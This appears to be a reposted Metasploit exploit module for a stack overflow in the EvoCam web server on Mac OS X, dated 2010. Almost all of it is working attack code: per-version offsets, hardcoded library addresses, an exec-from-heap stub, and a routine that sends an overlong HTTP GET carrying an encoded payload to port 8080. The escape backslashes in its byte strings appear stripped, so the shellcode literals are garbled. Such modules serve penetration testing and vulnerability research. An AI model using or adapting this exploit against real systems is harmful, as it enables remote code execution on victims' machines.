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evocam_webserver.rb.txt

Posted on 15 June 2010

##
# $Id: evocam_webserver.rb 9460 2010-06-09 18:41:58Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking

include Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'MacOS X EvoCam HTTP GET Overflow',
'Description' => %q{
This module exploits a stack overflow in the web server provided with the EvoCam
program for Mac OS X. We use Dino Dai Zovi's exec-from-heap technique to copy the payload
from the non-executable stack segment to heap memory. Vulnerable versions include 3.6.6,
3.6.7, and possibly earlier versions as well. EvoCam version 3.6.8 fixes the vulnerablity.
},
'Author'         =>
[
'Paul Harrington', # Original Exploit Author and MSF Module
'dookie', # MSF Module Assistance
],
'Version'  => '$Revision: 9460 $',
'Platform' => 'osx',
'License' => MSF_LICENSE,
'References' =>
[
['OSVDB', '65043'],
['URL', 'http://www.exploit-db.com/exploits/12835'],
],
'Payload' =>
{
'Space' => 300,
'BadChars' => "x00xffx09x0ax0bx0cx0cx0dx20",
'StackAdjustment' => -3500,
},
'Privileged'     => false,
'Targets' =>
[
[ 'Mac OS X 10.5.8 x86, EvoCam 3.6.6',
{
'Arch' => ARCH_X86,
'Offset' => 1560,
'Writable' => 0x8fe66448,
'setjmp' => 0x8fe1cf38,
'strdup' => 0x8fe210dc,
'jmp_eax' => 0x8fe01041
}
],
[ 'Mac OS X 10.5.8 x86, EvoCam 3.6.7',
{
'Arch' => ARCH_X86,
'Offset' => 1308,
'Writable' => 0x8fe66448,
'setjmp' => 0x8fe1cf38,
'strdup' => 0x8fe210dc,
'jmp_eax' => 0x8fe01041
}
],

],
'DisclosureDate' => 'Jun 01 2010',
'DefaultTarget' => 1))

register_options(
[
Opt::RPORT(8080),
], self.class)

end

def make_exec_payload_from_heap_stub()
frag0 =
"x90" + # nop
"x58" + # pop eax
"x61" + # popa
"xc3"   # ret

frag1 =
"x90" +             # nop
"x58" +             # pop eax
"x89xe0" +         # mov eax, esp
"x83xc0x0e" +     # add eax, byte +0xc
"x89x44x24x08" + # mov [esp+0x8], eax
"xc3"               # ret

setjmp = target['setjmp']
writable = target['Writable']
strdup = target['strdup']
jmp_eax = target['jmp_eax']

exec_payload_from_heap_stub =
frag0 +
[setjmp].pack('V') +
[writable + 32, writable].pack("V2") +
frag1 +
"X" * 20 +
[setjmp].pack('V') +
[writable + 24, writable, strdup, jmp_eax].pack("V4") +
"X" * 4
end

def exploit
connect

offset = target['Offset']

buffer = "GET "
buffer << rand_text_alpha_upper(offset)
buffer << make_exec_payload_from_heap_stub()
buffer << "x90x90"
buffer << payload.encoded
buffer << " HTTP/1.0

"

sock.put(buffer)
sock.close

handler()
disconnect
end

end

 

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